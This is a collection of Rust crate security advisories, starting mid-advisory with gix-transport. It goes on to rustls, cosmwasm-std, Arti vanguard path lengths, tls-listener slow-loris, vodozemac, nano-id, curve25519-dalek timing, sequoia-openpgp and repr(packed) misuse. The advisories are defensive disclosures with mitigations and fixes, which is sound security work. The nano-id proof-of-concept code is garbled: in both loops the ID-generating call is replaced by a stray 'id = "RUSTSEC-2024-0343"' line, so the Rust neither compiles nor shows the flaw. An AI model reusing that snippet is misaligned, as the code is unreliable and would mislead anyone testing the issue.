### Impact

As in [RUSTSEC-2023-0064](https://rustsec.org/advisories/RUSTSEC-2023-0064.html), this would typically require user interaction to trigger an attempt to clone or otherwise connect using the malicious URL. Furthermore, known means of exploiting this vulnerability to execute arbitrary commands require further preparatory steps to establish a specially named file in the current directory. The impact is therefore expected to be lesser, though it is difficult to predict it with certainty because it is not known exactly what scenarios will arise when using the `gix-transport` library.

Users who use applications that make use of `gix-transport` are potentially vulnerable, especially:

- On repositories with submodules that are automatically added, depending how the application manages submodules.
- When operating on other repositories from inside an untrusted repository.
- When reviewing contributions from untrusted developers by checking out a branch from an untrusted fork and performing clones from that location.


Summary: `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input

If a `close_notify` alert is received during a handshake, `complete_io`
does not terminate.

Callers which do not call `complete_io` are not affected.

`rustls-tokio` and `rustls-ffi` do not call `complete_io`
and are not affected.

`rustls::Stream` and `rustls::StreamOwned` types use
`complete_io` and are affected.


Summary: The crate `zip_next` has been renamed to `zip`.

Please switch to the new name. `zip_next` will receive no further releases.


Summary: Arithmetic overflows in cosmwasm-std

Some mathematical operations in `cosmwasm-std` use wrapping math instead of
panicking on overflow for very big numbers. This can lead to wrong calculations in contracts
that use these operations.

Affected functions:

- `Uint{256,512}::pow` / `Int{256,512}::pow`
- `Int{256,512}::neg`

Affected if `overflow-checks = true` is not set:

- `Uint{64,128}::pow` / `Int{64,128}::pow`
- `Int{64,128}::neg`


Summary: Tor path lengths too short when "Vanguards lite" configured

## Description

When building anonymizing circuits to or from an onion service with
'lite' vanguards (the default) enabled,
the circuit manager code would build the circuits with one hop too few.

## Impact

This makes users of this code more vulnerable to some kinds of traffic analysis
when they run or visit onion services.

## Vulnerable configurations and use cases

Arti configured with "vangaurds lite" is vulnerable;
this is the default.

Only users who make connections to Onion Services
(Tor Hidden Services) are affected.
Note, however, that when used as a browser proxy,
malicious web pages can typically make such connections.

## Mitigation

Enable the "full vanguards" feature.
This has some cost in terms of performance, reliability,
and impact on the Tor Network.

(Arti configured with "full vanguards" has a similar bug,
TROVE-2024-04,
so this will not deliver the full incressed security of "full vanguards";
but the security level of affected versions of Arti
configured with "full vanguards" still exceeds
the intended security level of the "vanguards lite" configuration.)

Alternatively,
preventing access to Tor Hidden Services will avoid the problem,
with corresponding loss of functionality.
This can be achieved in the Arti configuration file with:

```
[address_filter]
allow_onion_addrs = false
```

## Resolution

Rebuild `arti` (or other affected applications)
with a fixed version of `tor-circmgr`:
0.18.1 or later.

The fixed `tor-circmgr` is on crates.io and available in
[the upstream git repository](https://gitlab.torproject.org/tpo/core/arti)
at signed tag `arti-v1.2.3`.

### Note about older versions

Even though earlier versions are classified as "not affected",
this is because in those versions the Vanguards feature
is experimental, or absent.
Downgrading worsens security, rather than improving it.

## References

 * [arti#1409](https://gitlab.torproject.org/tpo/core/arti/-/issues/1409):
   the ticket in the Arti bugtracker.
 * [TROVE](https://gitlab.torproject.org/tpo/core/team/-/wikis/NetworkTeam/TROVE)
   Tor Project vulnerability database.
 * [arti#1400](https://gitlab.torproject.org/tpo/core/arti/-/issues/1400):
   the similar bug with the full vanguards feature.


Summary: Tor path lengths too short when "full Vanguards" configured

## Description

When building anonymizing circuits to or from an onion service with
full vanguards enabled,
the circuit manager code would build the circuits with one hop too few.

## Impact

This makes users of this code more vulnerable to some kinds of traffic analysis
when they run or visit onion services.

## Vulnerable configurations and use cases

Arti configured with "full vangaurds" is vulnerable.

Only users who make connections to Onion Services
(Tor Hidden Services) are affected.
Note, however, that when used as a browser proxy,
malicious web pages can typically make such connections.

## Mitigation

Preventing access to Tor Hidden Services will avoid the problem,
with corresponding loss of functionality.
This can be achieved in the Arti configuration file with:

```
[address_filter]
allow_onion_addrs = false
```

Changing the configuration (eg to turn off vanguards)
reclassifies the behaviour as "as configured",
but reduces security rather than improving it,
so is not a mitigation.

## Resolution

Rebuild `arti` (or other affected applications)
with a fixed version of `tor-circmgr`:
0.18.1 or later.

The fixed `tor-circmgr` is on crates.io and available in
[the upstream git repository](https://gitlab.torproject.org/tpo/core/arti)
at signed tag `arti-v1.2.3`.

### Note about older versions

Even though earlier versions are classified as "not affected",
this is because in those versions the Vanguards feature
is experimental, or absent.
Downgrading worsens security, rather than improving it.

## References

 * [arti#1400](https://gitlab.torproject.org/tpo/core/arti/-/issues/1400):
   the ticket in the Arti bugtracker.
 * [TROVE](https://gitlab.torproject.org/tpo/core/team/-/wikis/NetworkTeam/TROVE)
   Tor Project vulnerability database.
 * [arti#1409](https://gitlab.torproject.org/tpo/core/arti/-/issues/1409):
   the similar bug with the vanguards lite feature.


Summary: Slow loris vulnerability with default configuration

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.


Summary: Degraded secret zeroization capabilities

Versions 0.5.0 and 0.5.1 of vodozemac have degraded secret zeroization capabilities,
due to changes in third-party cryptographic dependencies (the Dalek crates),
which moved secret zeroization capabilities behind a feature flag while
vodozemac disabled the default feature set.

## Impact

The degraded zeroization capabilities could result in the production of more
memory copies of encryption secrets and secrets could linger in memory longer
than necessary. This marginally increases the risk of sensitive data exposure.

Overall, we consider the impact of this issue to be low. Although cryptographic
best practices recommend the clearing of sensitive information from memory once
it's no longer needed, the inherent limitations of Rust regarding absolute
zeroization reduce the practical severity of this lapse.


Summary: Reduced entropy due to inadequate character set usage

## Description

Affected versions of the nano-id crate incorrectly generated IDs using a reduced character set in the `nano_id::base62` and `nano_id::base58` functions. Specifically, the `base62` function used a character set of 32 symbols instead of the intended 62 symbols, and the `base58` function used a character set of 16 symbols instead of the intended 58 symbols. Additionally, the `nano_id::gen` macro is also affected when a custom character set that is not a power of 2 in size is specified.

It should be noted that `nano_id::base64` is not affected by this vulnerability.

## Impact

This can result in a significant reduction in entropy, making the generated IDs predictable and vulnerable to brute-force attacks when the IDs are used in security-sensitive contexts such as session tokens or unique identifiers.

## Patches

The flaws were corrected in commit [a9022772b2f1ce38929b5b81eccc670ac9d3ab23](https://github.com/viz-rs/nano-id/commit/a9022772b2f1ce38929b5b81eccc670ac9d3ab23) by updating the the `nano_id::gen` macro to use all specified characters correctly.

## PoC

```rust
use std::collections::BTreeSet;

fn main() {
    test_base58();
    test_base62();
}

fn test_base58() {
    let mut produced_symbols = BTreeSet::new();

    for _ in 0..100_000 {
id = "RUSTSEC-2024-0343"
        for c in id.chars() {
            produced_symbols.insert(c);
        }
    }

    println!(
        "{} symbols generated from nano_id::base58",
        produced_symbols.len()
    );
}

fn test_base62() {
    let mut produced_symbols = BTreeSet::new();

    for _ in 0..100_000 {
id = "RUSTSEC-2024-0343"
        for c in id.chars() {
            produced_symbols.insert(c);
        }
    }

    println!(
        "{} symbols generated from nano_id::base62",
        produced_symbols.len()
    );
}
```


Summary: Timing variability in `curve25519-dalek`'s `Scalar29::sub`/`Scalar52::sub`

Timing variability of any kind is problematic when working with  potentially secret values such as
elliptic curve scalars, and such issues can potentially leak private keys and other secrets. Such a
problem was recently discovered in `curve25519-dalek`.

The `Scalar29::sub` (32-bit) and `Scalar52::sub` (64-bit) functions contained usage of a mask value
inside a loop where LLVM saw an opportunity to insert a branch instruction (`jns` on x86) to
conditionally bypass this code section when the mask value is set to zero as can be seen in godbolt:

- 32-bit (see L106): <https://godbolt.org/z/zvaWxzvqv>
- 64-bit (see L48): <https://godbolt.org/z/PczYj7Pda>

A similar problem was recently discovered in the Kyber reference implementation:

<https://groups.google.com/a/list.nist.gov/g/pqc-forum/c/hqbtIGFKIpU/m/cnE3pbueBgAJ>

As discussed on that thread, one portable solution, which is also used in this PR, is to introduce a
volatile read as an optimization barrier, which prevents the compiler from optimizing it away.

The fix can be validated in godbolt here:

- 32-bit: <https://godbolt.org/z/jc9j7eb8E>
- 64-bit: <https://godbolt.org/z/x8d46Yfah>

The problem was discovered and the solution independently verified by
Alexander Wagner <alexander.wagner@aisec.fraunhofer.de> and Lea Themint <lea.thiemt@tum.de> using
their DATA tool:

<https://github.com/Fraunhofer-AISEC/DATA>


Summary: Low severity (DoS) vulnerability in sequoia-openpgp

There is a denial-of-service vulnerability in sequoia-openpgp, our
crate providing a low-level interface to our OpenPGP implementation.
When triggered, the process will enter an infinite loop.

Many thanks to Andrew Gallagher for disclosing the issue to us.

## Impact

Any software directly or indirectly using the interface
`sequoia_openpgp::cert::raw::RawCertParser`.  Notably, this includes all
software using the `sequoia_cert_store` crate.

## Details

The `RawCertParser` does not advance the input stream when
encountering unsupported cert (primary key) versions, resulting in an
infinite loop.

The fix introduces a new raw-cert-specific
`cert::raw::Error::UnuspportedCert`.

## Affected software

- sequoia-openpgp 1.13.0
- sequoia-openpgp 1.14.0
- sequoia-openpgp 1.15.0
- sequoia-openpgp 1.16.0
- sequoia-openpgp 1.17.0
- sequoia-openpgp 1.18.0
- sequoia-openpgp 1.19.0
- sequoia-openpgp 1.20.0
- Any software built against a vulnerable version of sequoia-openpgp
  which is directly or indirectly using the interface
  `sequoia_openpgp::cert::raw::RawCertParser`.  Notably, this includes
  all software using the `sequoia_cert_store` crate.


Summary: Incorrect usage of `#[repr(packed)]`

The affected versions make unsafe memory accesses under the assumption that `#[repr(packed)]` has a guaranteed field order.

The Rust specification does not guarantee this, and https://github.com/rust-lang/rust/pull/125360 (1.80.0-beta) starts
reordering fields of `#[repr(packed)]` structs, leading to illegal memory accesses.

The patched versions `0.9.7` and `0.10.3` use `#[repr(C, packed)]`, which guarantees field order.


Summary: Incorrect usage of `#[repr(packed)]`

The affected versions make unsafe memory accesses under the assumption that `#[repr(packed)]` has a guaranteed field order.

The Rust specification does not guarantee this, and https://github.com/rust-lang/rust/pull/125360 (1.80.0-beta) starts
reordering fields of `#[repr(packed)]` structs, leading to illegal memory accesses.

The patched versions `0.9.7` and `0.10.4` use `#[repr(C, packed)]`, which guarantees field order.